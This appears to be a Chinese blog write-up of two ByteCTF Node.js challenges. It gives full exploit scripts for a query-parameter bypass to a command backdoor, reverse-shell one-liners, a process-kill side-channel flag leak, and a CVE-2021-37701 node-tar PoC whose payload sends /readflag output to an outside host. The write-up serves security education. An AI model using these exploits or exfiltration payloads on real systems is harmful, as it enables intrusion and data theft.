记ByteCTF中的Node题

发布于 2022年 01月 24日 00:30

记ByteCTF中的Node题

我总觉得字节是跟Node过不去了,初赛和决赛都整了个Node题目,当然PHPJava都是必不可少的,只是我觉得Node类型的比较少见,所以感觉挺新鲜的。

Nothing#

决赛的Node题型,题目如下:

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Can you get flag in a fully enclosed nodejs environment? http://39.106.69.116:30001 http://39.106.34.228:30001

直接访问http://39.106.34.228:30001/就会得到一句话Here is a backdoor,can you shell it and get the flag?,访问http://39.106.34.228:30001/source可以得到相关的源码。

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const express = require('express') const fs = require('fs') const exec = require('child_process').exec; const src = fs.readFileSync("app.js") const app = express() app.get('/', (req, res) => { if (!('ByteCTF' in req.query)) { res.end("Here is a backdoor,can you shell it and get the flag?") return } if (req.query.ByteCTF.length > 3000) { const byteCTF = JSON.stringify(req.query.ByteCTF) if (byteCTF.length > 1024) { res.end("too long.") return } try { const q = "{" + req.query.ByteCTF + "}" res.end("Got it!") } catch { if (req.query.backdoor) { exec(req.query.backdoor) res.send("exec complete,but nothing here") } else { res.end("Nothing here!") } } } else { res.end("too short.") return } }) app.get('/source', (req, res) => { res.end(src) }); app.listen(3000, () => { console.log(`listening at port 3000`) })

可以看到有个exec可以执行命令,然后就是经典的绕过环节了,首先看第一个需要他的长度大于3000并且JSON.stringify后要小于1024,这可让我犯了难,然后表哥们说这玩意可以直接传对象,带着length属性值大于3000就行,好家伙之前我还不知道express可以直接传递对象上去,那么就先在本地跑跑看看,首先将代码保存成app.js,然后本地目录运行命令即可。

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$ npm install express $ node app.js

然后可以打印一下req.query.ByteCTF尝试一下,然后我们访问http://localhost:3000/?ByteCTF[a]=1&ByteCTF[b]=2,就可以得到一个对象的输出。

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// http://localhost:3000/?ByteCTF[a]=1&ByteCTF[b]=2 // too short. { a: '1', b: '2' }

既然他能够被转换为对象,那么就直接写一个带length属性的对象进去,让他检查length的时候大于3000即可。

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// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1 // Got it! { a: '1' }

可以看到输出的是Got it!,也就是能够成功执行到res.end("Got it!")这一行了,现在只需要让这个对象在拼接字符串的时候抛出异常就可以了,在js中对象转成字符串也是调用的toString方法,既然传递的是对象就完全可以将这个方法给他覆盖掉,直接传递一个值即可,因为传递的不是函数,而拼接的时候会尝试调用这个toString函数所以会抛出异常。

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// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1&ByteCTF[toString]=1 // 抛出的异常是 TypeError: Cannot convert object to primitive value // Nothing here!

可以看到输出是Nothing here!,之后我们只需要传递一个backdoorparam参数去执行命令就可以了。

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// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1&ByteCTF[toString]=1&backdoor=echo%201 // exec complete,but nothing here

事情到这里看起来似乎是挺顺利,当然只是看起来,起初我还没能理解题目中fully enclosed是个嘛意思,然后尝试了一下nc -e /bin/bash {host} {port}去反弹shell,半天也没反应,想来可能发行版没有-e参数,于是就尝试bash -i >& /dev/tcp/{host}/{port} 0>&1,也没弹出来,然后看了看我机器的nc -lvvp {port}似乎也没问题,然后就去尝试了一下dnslog,然后尝试了curlping都收不到记录,然后我就理解了这个fully enclosed完全封闭是什么意思了,好家伙靶机不出网,这跟我玩蛇,现在是可以RCE但是拿不到东西,真难受。然后我想的是既然他得用node服务,能不能把这个node进程杀死然后用这个端口去通信,或者检测一下还有没有可以用的端口。然后队友表哥们玩了一个新花样,好家伙给我看傻眼了。

先说点别的,之前看到过一个代码,具体的细节我不太记得清了,大概是这样的,找到原文链接了,在参考栏里,在这里基本就搬运一下了。

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boolean safeEqual(String a, String b) { if (a == null || b == null) { return a == b; } if (a.length() != b.length()) { return false; } int equal = 0; for (int i = 0; i < a.length(); i++) { equal |= a.charAt(i) ^ b.charAt(i); } return equal == 0; }

这个函数的功能是比较两个字符串是否相等,首先长度不等结果肯定不等,立即返回这个很好理解。再看看后面的,稍微动下脑筋,转弯下也能明白这其中的门道:通过异或操作1^1=01^0=10^0=0,来比较每一位,如果每一位都相等的话,两个字符串肯定相等,最后存储累计异或值的变量equal必定为0,否则为1。但是
从效率角度上讲,难道不是应该只要中途发现某一位的结果不同了(即为1)就可以立即返回两个字符串不相等了吗,类似与下边这样。

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for (int i = 0; i < a.length(); i++) { if (a.charAt(i) ^ b.charAt(i) != 0) // or a.charAt(i) != b.charAt(i) return false; }

以前知道通过延迟计算等手段来提高效率的手段,但这种已经算出结果却延迟返回的,还是头一回,结合方法名称safeEquals可能知道些眉目,与安全有关,其实JDK中也有类似的方法,例如java.security.MessageDigest,看注释知道了目的是为了用常量时间复杂度进行比较。

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public static boolean isEqual(byte[] digesta, byte[] digestb) { if (digesta == digestb) return true; if (digesta == null || digestb == null) { return false; } if (digesta.length != digestb.length) { return false; } int result = 0; // time-constant comparison for (int i = 0; i < digesta.length; i++) { result |= digesta[i] ^ digestb[i]; } return result == 0; }

实际上,这么做是为了防止计时攻击,计时攻击是边信道攻击(或称侧信道攻击,Side Channel Attack,简称SCA) 的一种,边信道攻击是一种针对软件或硬件设计缺陷,走歪门邪道的一种攻击方式。

然后表哥们就玩了一个花里胡哨的侧信道方案哈哈哈,首先既然无法出网,就需要知道一个服务器的状态,而表哥们选用的服务器状态,就是这个node进程是否还活着,整体思路就是,首先在根目录去读文件,flag大概率是在文件中的,通过执行ls /获得一个输出的字符串,然后我我们传递进去一段代码,如果这个字符与我们传进去的字符相同,就杀死这个node进程,然后我们就访问不到服务了,然后就可以断定这个字符是正确的,而传入的字符就只能一个个遍历了。首先我们需要遍历出来存放flag的文件,直接上代码,这实际上也算是一种爆破方案,在尝试的过程中也会出现一些状况,因为靶机的node重启太快了刚杀死就重启了,所以需要不少人工因素查看,有时候会顿一下多看几次都在那里停顿大概率就是那个字符了了,多看几遍可以排除下网络波动因素。

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# blast_file_name.py 爆破文件名 import requests from urllib import parse import base64 from time import sleep import string # url = "http://39.106.69.116:30001/" url = "http://39.106.34.228:30001/" template = ''' const exec = require("child_process").exec; const fs = require("fs"); const cmd = "ls /"; exec(cmd, function(error, stdout, stderr) {{ if(stdout[{0}]==="{1}" && stdout.substr(0,{0})==="{2}"){{ exec("pkill node"); }} }}); ''' def remote_exec(command): params = "echo {} | base64 -d > /tmp/ddd.js;node /tmp/ddd.js".format(base64.b64encode(t.encode()).replace(b'\n',b'').decode()) # print(params) requests.get(url +"?ByteCTF[__proto__][length]=100000&ByteCTF[toString]=&ByteCTF[][a]&backdoor="+parse.quote(params)) if __name__ == "__main__": # 例如搜索出了出了第四位字符 # 那么第三位大概率是正确的 # 需不少人工判断 result = "" result = "T" result = "Th1s_1s" for i in range(len(result), 10000000): find = False for char in string.ascii_letters + "_- " + string.digits: print(i, len(result), char, result + char) t = template.format(len(result), char, result) # print(t) try: remote_exec(t) except: continue try: requests.get(url, timeout=5) requests.get(url, timeout=5) requests.get(url, timeout=5) except: find = True result += char print(result) sleep(5) break if not find: result += ""

而恰好第一个文件名就是flag的存放位置,感觉路子应该差不多,另外这个文件名稍微爆出来几位之后就可以使用cat xxx*去表示了,在这里爆破了Th1s_1s,那么之后爆破flag就可以使用cat Th1s_1s*打开文件,然后继续遍历爆破了,最后得到flagbytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22},真的是够长,爆破也需要很长时间费很大劲。

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# blasting_flag.py 爆破`flag` import requests from urllib import parse import base64 from time import sleep import string # url = "http://39.106.69.116:30001/" url = "http://39.106.34.228:30001/" template = ''' const exec = require("child_process").exec; const fs = require("fs"); const cmd = "cat /Th1s_1s*"; exec(cmd, function(error, stdout, stderr) {{ if(stdout[{0}]==="{1}" && stdout.substr(0,{0})==="{2}"){{ exec("pkill node"); }} }}); ''' def remote_exec(command): params = "echo {} | base64 -d > /tmp/hhh.js;node /tmp/hhh.js".format(base64.b64encode(t.encode()).replace(b'\n',b'').decode()) # print(params) requests.get(url +"?ByteCTF[__proto__][length]=100000&ByteCTF[toString]=&ByteCTF[][a]&backdoor="+parse.quote(params)) if __name__ == "__main__": # 例如搜索出了出了第四位字符 那么第三位大概率是正确的 # 需要不少人工因素 有时候会顿一下多看几次都在那里停顿大概率就是了 因为node重启太快了 多看几遍可以排除下网络波动因素 result = "" result = "by" result = "bytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22" for i in range(len(result), 10000000): find = False # for char in string.ascii_letters: for char in string.ascii_letters + "{_- }" + string.digits: print(i, len(result), char, result + char) t = template.format(len(result), char, result) # print(t) try: remote_exec(t) except: continue try: requests.get(url, timeout=1) requests.get(url, timeout=1) requests.get(url, timeout=1) except: find = True result += char print(result) sleep(5) break if not find: result += "" # bytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22}

easy_extract#

这是初赛的Node题型,当时没搞出来,这是决赛之后看到了上边的Node题目所以也记录了一下。当时搞出了文件写入,然后没有多少地方有写权限,没想到利用写.npmrc文件并重启搞他。下面的内容来自于官方的Writeup,仅作记录,详情链接在参考中。

本题利用的是8月份曝出的node-tar包符号链接检查绕过漏洞,这个漏洞本身在网上是可以找到POC的,能够做到任意文件写入,同时本题展示文件列表的功能结合符号链接可以被用来列目录,辅助判断题目环境,不过为了难度考虑,还是在/robots.txt中将Dockerfile放出,能够得到一些关于题目是如何启动的信息,同时,本题也考察了在没有web应用目录写入权限的情况下,通过任意文件写来进一步造成RCE的一些思路。
CVE-2021-37701 node-tar任意文件写入/覆盖漏洞(翻译自原报告)node-tar有安全措施,旨在保证不会提取任何位置将被符号链接修改的文件,这部分是通过确保提取的目录不是符号链接来实现的,此外,为了防止不必要的stat调用来确定给定路径是否为目录,在创建目录时会缓存路径,但是6.1.7以下版本的node-tar当提取包含一个目录及与目录同名的符号链接的tar文件时,此检查逻辑是不够充分的,其中存档条目中的符号链接和目录名称在posix系统上使用反斜杠作为路径分隔符,缓存检查逻辑同时使用了和/字符作为路径分隔符,然而,在posix系统上是一个有效的文件名字符,通过首先创建一个目录,然后用符号链接替换该目录,可以绕过对目录的符号链接检查,基本上允许不受信任的tar文件符号链接到任意位置,然后将任意文件提取到该位置,从而允许任意文件创建和覆盖,此外,不区分大小写的文件系统可能会出现类似的混淆,如果恶意tar包含一个位于FOO的目录,后跟一个名为foo的符号链接,那么在不区分大小写的文件系统上,符号链接的创建将从文件系统中删除该目录,但不从内部目录中删除缓存,因为它不会被视为缓存命中,FOO目录中的后续文件条目将被放置在符号链接的目标中,认为该目录已经创建,关于POC的构建,也有相关文章可以参考: 5 RCEs in npm for $15, 000。于是我们简单尝试一下,但在上传时,我们会发现文件大小存在限制,而一般来讲tar打包出来的文件都会大于1KB,所以可以打包一个.tar.gz,并将扩展名改回.tar,实际上node-tar并不根据扩展名判断文件是否压缩,所以.tar后缀的.tar.gz文件是可以被正常解压的,可以发现确实创建了一个指向/app/data以外的符号链接,能够列出全盘的路径信息:

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#!/bin/sh rm n\\x ln -s / n\\x # Create a link to the destination dir tar cf poc.tar n\\x # Pack the link into the tar echo "test" > n\\x/app/data/test tar rf poc.tar n\\x n\\x/app/data/test gzip -9 < poc.tar > poc.tar.gz rm poc.tar mv poc.tar.gz poc.tar

做完这一步,就可以任意列目录,并且任意写入文件了,根目录下有/readflag,说明需要命令执行。

Dockerfile可以看出,我们的用户是node,基本上没有多少地方有写权限,并且app目录除了/app/data都是无权限写的,观察启动参数,nodemon --exec npm start有些奇怪,查资料发现nodemon是一个开发使用的工具,会在/app目录下发生文件创建或更改时自动重启node,于是想到,我们还可以在用户文件夹下写入配置文件,让配置文件在node重启时被加载,这时我们注意到服务是用npm start起的,所以可以通过写入~/.npmrcNODE_OPTIONS参数造成RCE

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echo "node-options='--require /home/node/evil.js'" > /home/node/.npmrc

之后,写入一个.js文件到/app/data下面,即可触发nodemon重启node,进而导致evil.js被执行,nodemon这层主要是方便比赛,实际上如果是在真实环境里,大概率不会有人使用nodemon启动生产环境的服务,不过我们仍然可以先将文件写入,之后守株待兔直到服务重启,命令被执行,在配置了重启策略的Docker容器中,也可以通过把服务打挂的方式强制重启。

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#!/bin/sh # Generate Tar mkdir /home/node ln -s /home/node/ n\\x tar cf exp.tar n\\x echo "node-options='--require /home/node/evil.js'" > n\\x/.npmrc echo "const execSync = require('child_process').execSync;const http = require('http');const output = execSync('/readflag', { encoding: 'utf-8' });http.get('http://ent9hso2vt0z.x.pipedream.net/?'+output);" > n\\x/evil.js echo "dummy" > test.js tar rf exp.tar n\\x n\\x/.npmrc n\\x/evil.js test.js # Compress gzip -9 < exp.tar > exp.tar.gz mv exp.tar.gz exp.tar # Clean Up rm n\\x/.npmrc n\\x/evil.js test.js n\\x rm -r /home/node

参考#

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https://www.zhihu.com/question/275611095/answer/1962679419 https://bytectf.feishu.cn/docs/doccnq7Z5hqRBMvrmpRQMAGEK4e#lLBgbe

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